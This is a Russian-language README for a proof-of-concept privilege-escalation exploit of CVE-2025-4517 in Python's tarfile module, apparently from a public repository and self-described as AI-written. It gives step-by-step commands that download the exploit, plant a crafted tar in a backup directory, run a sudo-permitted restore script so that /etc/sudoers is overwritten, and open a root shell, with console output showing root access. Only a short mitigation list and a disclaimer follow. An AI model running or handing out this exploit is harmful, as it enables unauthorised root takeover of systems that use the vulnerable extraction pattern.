
Скрипт повышения привилегий для CVE-2025-4517
Этот эксплойт и описание созданы ИИ. Если вы нашли ошибку или проблему, сообщите мне! Эксплойт был протестирован и подтверждён как работающий. Спасибо!
Этот эксплойт использует CVE-2025-4517 — критическую уязвимость в модуле tarfile в Python, которая позволяет произвольную запись файлов через комбинацию обхода пути с помощью символических ссылок и манипуляции жёсткими ссылками. Это обходит защиту filter="data", введённую в Python 3.12.
Уязвимость использует недостаток в обработке tarfile.extractall() при взаимодействии между:
filter="data" блокирует прямой обход через симлинки, но техника с жёсткими ссылками обходит эту защиту1. Создание глубоко вложенных каталогов (путаница пути)
└─ Используются имена каталогов длиной 247 символов, повторённые 16 уровней в глубину
2. Построение цепочки симлинков для обхода
└─ Создаются симлинки, разрешающиеся вверх по дереву каталогов
3. Обходной симлинк к целевому каталогу (/etc)
└─ Финальный симлинк указывает за границу извлечения
4. Создание жёсткой ссылки, указывающей через обходной симлинк
└─ Жёсткая ссылка: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
5. Запись содержимого в жёсткую ссылку
└─ Запись в "sudoers_link" фактически записывает в /etc/sudoers
Скрипт: /opt/backup_clients/restore_backup_clients.py
# Уязвимый фрагмент кода
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Привилегии sudo:
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
/opt/backup_clients/backups/# Загрузка эксплойта
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Перемещение на целевую систему
# Запуск эксплойта
./exploit.py
# Или через Python
python3 exploit.py
Если вы предпочитаете выполнять каждый шаг вручную:
# 1. Создание tar-архива эксплойта
python3 exploit.py --create-only
# 2. Развёртывание на цели
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar
# 3. Выполнение через уязвимый скрипт
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar \
-r restore_exploit
# 4. Проверка модификации sudoers
sudo cat /etc/sudoers | grep "$(whoami)"
# 5. Получение root
sudo /bin/bash
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-4517 Tarfile Exploit ║
║ Privilege Escalation via Symlink + Hardlink Bypass ║
╚═══════════════════════════════════════════════════════════╝
[*] Целевой пользователь: wacky
[*] Создание tar-архива эксплойта для пользователя: wacky
[*] Фаза 1: Построение вложенной структуры каталогов...
[*] Фаза 2: Создание цепочки симлинков для обхода пути...
[*] Фаза 3: Создание обходного симлинка для /etc...
[*] Фаза 4: Создание жёсткой ссылки на /etc/sudoers...
[*] Фаза 5: Запись записи в sudoers...
[+] Tar-архив эксплойта создан: /tmp/cve_2025_4517_exploit.tar
[*] Развёртывание эксплойта в: /opt/backup_clients/backups/backup_9999.tar
[+] Эксплойт успешно развёрнут
[*] Запуск извлечения через уязвимый скрипт...
[+] Резервная копия: backup_9999.tar
[+] Промежуточный каталог: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Извлечение завершено в /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Извлечение завершено
[*] Проверка успешности эксплойта...
[+] УСПЕХ! Пользователь 'wacky' добавлен в sudoers
[+] Запись: wacky ALL=(ALL) NOPASSWD: ALL
============================================================
[+] ЭКСПЛУАТАЦИЯ УСПЕШНА!
[+] Пользователь 'wacky' теперь имеет полные привилегии sudo
[+] Получить root: sudo /bin/bash
============================================================
[?] Запустить root-оболочку сейчас? (y/n): y
[*] Запуск root-оболочки...
[*] Выполните: sudo /bin/bash
root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
python3 --version # Проверка версии
# Проверка подозрительных членов архива перед извлечением
for member in tar.getmembers():
if member.islnk() or member.issym():
raise SecurityError("Симлинки/жёсткие ссылки не разрешены")
import os
for member in tar.getmembers():
member_path = os.path.join(extract_path, member.name)
if not member_path.startswith(os.path.abspath(extract_path)):
raise SecurityError("Обнаружен обход пути")
# Удалить или ограничить sudo-доступ к скрипту резервного копирования
visudo
# Проверка содержимого tar до извлечения
tar -tzf archive.tar | grep -E '\.\./|^/'
# Настройка AIDE или аналогичной IDS
aide --check
Этот эксплойт предоставляется только в образовательных целях и предназначен для использования в:
Автор(ы) не несут ответственности за неправомерное использование этого кода.
Оригинальное исследование: Множество исследователей безопасности (см. Ссылки)
Лицензия MIT - подробнее см. в файле LICENSE
Последнее обновление: Март 2026